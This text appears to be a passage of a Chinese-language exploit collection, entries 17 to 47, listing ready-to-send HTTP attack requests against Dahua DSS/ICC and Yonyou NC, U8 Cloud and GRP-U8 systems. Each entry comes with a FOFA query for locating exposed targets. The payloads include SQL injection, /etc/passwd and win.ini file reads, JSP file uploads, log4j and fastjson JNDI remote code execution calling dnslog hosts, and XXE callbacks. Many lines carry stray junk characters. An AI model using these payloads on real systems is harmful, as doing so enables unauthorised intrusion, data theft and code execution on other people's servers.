3 A6 R2 P1 q0 B- qGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
+ d$ m8 f- V$ T7 WHost: x.x.x.x
# z) g0 P3 v/ J3 V& h6 FUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
3 j' h$ @- c2 V7 Q. s" k- x4 vAccept: */*
Accept-Language: en
Accept-Encoding: gzip


- |  n+ G2 p6 d7 t" @17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 G1 `8 x% L# w: P5 UConnection: close
- V0 O% Q0 m9 s+ Y- D" YContent-Length: 345
Accept-Encoding: gzip
5 x1 {) r2 j$ q+ c  F
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
% ?8 X, t5 o1 b% N  r0 I" G<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
; o% T# H9 {8 U; [      <netMarkings>
4 ]  J1 L" {: q( |       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
# Y: }! x& @# I; ^3 _      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
' c8 ?1 y4 Q+ p$ P7 _  U& M" D

% Q7 h. F! w$ K& A: b" t3 T0 x9 R' W18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
- G  N. Q+ v3 ^' X- UFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
, O6 K; R3 E3 k* ?/ E) i4 }Host: your-ip
" N4 x7 }, D6 `# _( tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive



19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
6 X, Z9 m  v& E* C. E: r7 WFOFA：app="dahua-DSS"
, Q6 A0 N# x, \- C3 i% b2 VGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
# V1 b& k' U; d! ZAccept: */*
Connection: keep-alive


20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
" V; N  r4 l4 U/ L  P, XGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
" a5 y# ?& D# H% `9 I/ I  cAccept-Encoding: gzip
$ C# ^( ^1 S& p  D
6 O  d: `2 f0 e; g1 d
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
" E* ^6 w! {3 w6 Y' ]- h$ FPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
9 S% ]% W( y+ c1 G! m( OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
Connection: close
% ^$ U' v# `, lContent-Type: application/json;charset=utf-8

{
8 C% n* N& h" I  U6 I  X( I8 c"a":{
* c# {: W; V  A; f+ p/ m; a   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
! Z8 X1 U2 @0 z' d* f! C; P}


$ P/ z) Y) u2 a4 g- q7 a0 \22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
% G8 C$ A% ?% G+ `+ dPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
! q' H0 ]+ L7 O; U0 e% VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
% A2 a/ [. o% \( }7 b$ ]% O# CContent-Type: application/json;charset=utf-8
! z$ K8 o; A4 e$ O) `6 w0 W
! e+ c1 o$ e) {' {# z{
"loginName":"${jndi:ldap://dnslog}"
0 e% i1 X1 W! y3 O}
$ M" q& k; _( a( e" j


23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
! Z7 z& F) V' J6 M: p* D0 i/ a0 K0 dPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
( L  L$ F# o- s4 w( N9 j" }6 EHost: your-ip
3 {- g- x. k/ h% l  LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

{
5 b  X9 |( x( Y; o% L  M6 Z    "a":{
" }* P" X5 x/ f; q6 n$ b: Y        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
0 K+ j4 N0 V# }2 c2 O        }""
$ n# @/ M: ], [}

. S9 A; E1 A7 a" V8 k
24. 用友NC 6.5 accept.jsp任意文件上传
! ]0 S# z7 e  J) {6 _FOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
9 D+ P" o5 C( M( {  j& y: AAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
/ U) V; ^. _0 R4 }6 R) {
; A6 n: e% x* M: `  d0 _% v-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
+ r5 Z( ^: S" E; mContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
& W8 ~: I- M1 g3 I. f: ]Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
! u& l& F- u# ?! p! K; ^$ f1 L0 n9 H-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
; D1 R) R2 p7 t8 i( A+ N& u
) e! i. q. ^: ^
25. 用友NC registerServlet JNDI 远程代码执行
( x8 J3 U  A: u9 ^8 A6 Q- z# tFOFA：app="用友-UFIDA-NC"
2 D9 H- K7 g" Z+ f( j2 G1 yPOST /portal/registerServlet HTTP/1.1
Host: your-ip
# u- S" Y- a5 T& ]$ lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
( n! \2 ^  @, j" s0 L6 W1 dAccept-Encoding: gzip, deflate
4 N# g& s7 e& x1 J) _. ]Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
0 b1 {" Y7 h9 G4 |' RContent-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog

. v) X& [1 |4 A# ~; K+ o

26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
( L/ J' P7 O) f/ b) T0 o/ fGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
7 Z5 C/ k9 w( ~: X5 NContent-Type: application/x-www-form-urlencoded
# f+ S  K5 W+ P0 U) UAccept-Encoding: gzip, deflate
: v9 G; N- u; W0 I2 h) \& x. lAccept: */*
+ ]3 O" t1 l% v' xConnection: keep-alive


27. 用友 NC showcontent SQL注入
# P# L) O5 c- |6 d2 bFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
5 x2 `7 g! D0 m- C) r+ UHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8


28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
; ?% l+ D9 h& U  pPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
, p6 J6 Q  s  j% \( s# s' y9 J; L+ gConnection: close
8 n7 J' `2 ^2 p" m! BContent-Length: 268
5 @  b; h, ]) z2 Q% }1 s2 |  EContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
) q1 _$ Q- K7 M9 wAccept-Encoding: gzip
8 d0 t) A: ^+ V2 w: k. o
+ e: Z* L0 w) Q: F. Q3 X------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
7 ]* f  C7 j2 E* f) T. I- XContent-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

  b" h- x+ ?( G# F
/uapim/static/pages/nc/head.jsp
% m) X$ h2 L& r, `. y
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 t9 U. W& C, |! S4 nContent-Type: application/x-www-form-urlencoded
1 `0 Z3 i+ e6 M: z( cAccept-Encoding: gzip, deflate
2 E. f8 O* [: Y) kAccept: */*
Connection: keep-alive


% V0 o3 [) q. |  [) n30. 用友NC importPml SQL注入
% H" {( ~5 P6 p3 ^3 q+ fFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
+ {6 r  ~7 j6 g5 F. n9 U, Z+ ]6 MPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
0 c" e  l1 L; a& N) MContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
; W2 M  ^7 ?( s6 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

- F! _8 J. T- K! |' E+ E- @/ p------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
# }, C. L/ g7 l$ T" IContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--
: G# ^% {7 P$ ^$ P
- r1 S7 J, i  C$ l' `
! e4 [, r3 S$ O31. 用友NC runStateServlet SQL注入
3 ^1 K9 H3 U' |6 }1 d9 h4 }version<=6.5
6 [' Y6 c. B* dFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
5 u: h6 @# l: ?8 lHost: host
+ a% c. f! M/ j' ^; L4 k+ YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
' i( |7 f+ C# g7 X2 i4 O+ q# c  @
& z2 {, Y1 o: t# G
32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
. _5 M. w! K) ^FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
& ?& P) d& |5 T* u, R. oHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
/ i) ]# N; Q6 IAccept: */*
Connection: keep-alive


33. 用友NC downTax/download SQL注入
/ e/ I7 _# h& u# h) [version：NC6.5FOFA：app="用友-UFIDA-NC"
& @) O9 ]  F+ W4 zGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
/ R0 i% M. Y2 b& _  f) U$ jHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
# f& S) s# g1 C7 \5 Q7 G5 yAccept: */*
Connection: keep-alive
5 Z5 h$ }* E# n, ^0 Q) g) F
8 t% g8 ~( L' d* Q
6 G) [0 Z. t6 j) c6 n34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
+ o$ V) R. `4 C3 u  a2 x" a# X% PGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
5 i% t& Z/ u" ?  L1 ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 @0 m, a8 r- B/ O; g! z4 F2 oContent-Type: application/x-www-form-urlencoded
- h9 I" b+ o& J  m* VAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
/ ^/ \( }, R) x* V. k7 z
9 P) s0 M8 B( y7 Q$ r6 M
35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
4 s. g8 k1 ?* IPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
7 Z9 V3 ^* k0 qHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
( }& y* l7 n4 r3 U3 X: H- sAccept: */*
Connection: close
. U. \8 O! N' S% IaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
- W5 R& C" H3 [! T) x. X. V8 K) g) zContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

" s0 K8 |# h# i--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
: ]+ I* t/ Y- q4 }2 Q--fd28cb44e829ed1c197ec3bc71748df0--
9 g6 q2 e0 h3 r8 I
. v$ d! u1 L% f
8 O( C; J: B" q3 y$ K36. 用友NC-Cloud soapFormat XXE
7 e) H3 H; M8 H0 z8 q3 DFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
3 v/ n4 P; N" U7 h  zHost: 192.168.40.130:8989
2 k% D& d2 h7 c; IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
. X* n3 ?* o8 M+ a/ T) KContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ l( u- h$ l" W7 K; n4 sConnection: close
6 e& q: u. H8 i% S- d6 QContent-Type: application/x-www-form-urlencoded
) g8 Y/ g  S* q& ~2 k6 zUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

! w5 \  ?9 H; ^" @* |. K
37. 用友NC-Cloud IUpdateService XXE
. g- R! q3 E' j4 t+ bFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
9 e7 @" o$ D  j4 T6 lPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
+ {) O' R6 A0 M6 K% oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
5 |6 p; G, d! T. z; d0 f0 D  L3 K0 `Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
2 Q1 }5 P1 m* Q' O: P  CAccept-Language: zh-CN,zh;q=0.9
Connection: close
" J$ h' I6 U  K) v3 Y3 s9 d1 @" `Content-Type: text/xml;charset=UTF-8
  F* Z2 o# s& H! I. ~( SSOAPAction: urn:getResult
8 T2 ?( m# [5 L& }8 _" WUpgrade-Insecure-Requests: 1
, W/ G9 b" h% o. o
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
& |3 ?. L3 D- x: a<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
. ?' Q  `% l2 }<iup:string><![CDATA[
$ y; O- f) N( c# a1 {<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
  b( B9 [9 m6 B+ f<xxx/>]]></iup:string>
4 t3 o2 O* O+ O1 b2 U8 K( r</iup:getResult>
</soapenv:Body>
1 M- V3 U& ~4 O4 u</soapenv:Envelope>


) w( l* c( ^% w' u0 U1 G$ f
38. 用友U8 Cloud smartweb2.RPC.d XXE
+ w2 }) c3 d: QFOFA：app="用友-U8-Cloud"
8 y" _7 a4 O5 Q( }8 wPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
2 ~$ A9 ]" E& K  Q# FHost: 192.168.40.131:8088
% S: v  U, F! N0 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
3 T) j3 A$ @7 t9 I: X' e" U( UContent-Length: 260
/ }& w) v4 e1 b8 q: ?0 s) AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
* x. {4 D9 v2 eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
+ y- s2 ?7 T& F' N( xContent-Type: application/x-www-form-urlencoded
" l7 w. }  e6 i/ G' w
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
& }$ \) X: X0 d0 R6 V8 R

39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
) Z" U% `+ {) M5 B( J. j9 j3 h7 JHost: 192.168.86.128:8089
1 E+ k" k/ W9 U5 k/ j( E8 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
; K: N7 c; S6 eContent-Length: 85
' b3 p, G! M; ~$ EAccept: */*
! i/ s& T" z8 j' q4 {& h4 dAccept-Language: en
( r8 `. }& [* A+ s9 T5 hContent-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
6 r' w9 Y3 V" K! wAccept-Encoding: gzip
# k, W: m7 Q! c9 `& H2 G
2 [' D. p% |# c' U3 }8 F& nusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


$ {5 p, n, n( f/ E$ t40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
! o, o. N3 v" g/ GPOST /service/XChangeServlet HTTP/1.1
3 S0 t0 A0 L, m' N: u; C5 o: `) ~. Z; c) qHost: x.x.x.x
+ l  _( ^# c: @* E' ]User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
8 R! R- s! f) E3 O' z9 j, B# M6 @Connection: close
, j7 c! Z2 x5 x; a+ K
! v$ a% ]2 y2 I' ?( N) d! c6 T<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
9 y; W5 E3 N! d1 F, j2 T2 D
  B( [% q3 Y1 O
: o" ^* h& B( O2 {4 a  f. i& _41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
3 I3 ~6 d  n8 k# D$ c$ FGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
* {: |1 w3 e8 O+ i' ~' x1 u9 O; z7 |% nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
9 ?. d; u* n) t  }- U9 IAccept-Encoding: gzip
0 d5 I. f7 [+ l) L+ |( d8 F" v. pConnection: close
  O/ Q6 e+ h  l

42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
3 y: F8 O* h& q/ y# u% bContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
0 h" h- P$ H9 r& D0 G
PAYLOAD
0 D, E4 Z6 S4 h- Q+ f

http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
+ A! ]+ B% p0 Y' [; v9 J: g; C( D
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
2 d0 Y/ G6 \4 W; N) C/ X4 nFOFA：app="用友-GRP-U8"
) N; k  O3 h; w2 V7 jPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
* {  k' D% K6 w- z$ b0 `8 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
! u* I# R- G7 i) F6 p" [* jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% B2 @$ x0 ]- Q4 r/ JAccept-Encoding: gzip, deflate
5 d5 l/ v5 `6 N% JAccept-Language: zh-CN,zh;q=0.9
0 l7 h7 z( {: ~5 k! ?9 hConnection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8

0 C1 I2 |" l: I  M' Y# J7 b+ B<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
2 \9 n4 s4 B% @   </soapenv:Body>
</soapenv:Envelope>
- c- b. D0 v. f, S$ R0 d$ J2 r# T
; s0 L  o- P( L
, u+ a9 C! R6 O' a+ N44. 用友GRP-U8 bx_dj_check.jsp SQL注入
% S0 Q1 F5 Z: D5 S3 ZFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
9 Z* h! i; g$ p9 b; iHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
6 }) u4 d5 p7 E, |# @, BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 V+ c0 U% {5 c5 `Accept-Encoding: gzip, deflate
7 {* T1 \9 S4 x) @9 r4 g9 a! kAccept-Language: zh-CN,zh;q=0.9
/ @, E( _0 q8 ?$ U4 [+ |Connection: close

, \" C+ C4 F/ c
3 t% Y! f( R" f2 m% ~) W45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
/ x8 G+ b2 J% F/ P/ O' z# J6 lPOST /ufgovbank HTTP/1.1
' J. w2 S& _" O) z4 r8 @Host: 192.168.40.130:222
7 Y* ^2 }$ Y9 a8 V( t, jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
! [0 P, Q+ l# N) J$ ~6 EContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Z/ E( V6 S) k! {Content-Type: application/x-www-form-urlencoded
# ^( l  W. Q) tAccept-Encoding: gzip

% d2 C) y* X; T# R/ R7 F4 EreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest


46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
% c: R$ Z3 Y$ L2 T' KGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
- m4 [: a1 e' ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( l6 S) `$ t8 n; ^, S) _# yConnection: close
6 {; m7 B6 H3 u8 X' M# J
0 I. i5 B! `' g$ y: e
1 ^( N# X  B' `# u47. 用友GRP A++Cloud 政府财务云 任意文件读取
5 ?( d9 F8 u8 |- I. [FOFA：body="/pf/portal/login/css/fonts/style.css"
# D& N2 A: J9 f- ~, p; o  L& M+ JGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
0 D2 A9 ]6 l/ _  xHost: x.x.x.x
Cache-Control: max-age=0
' d9 I$ f% i! {0 X2 {Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
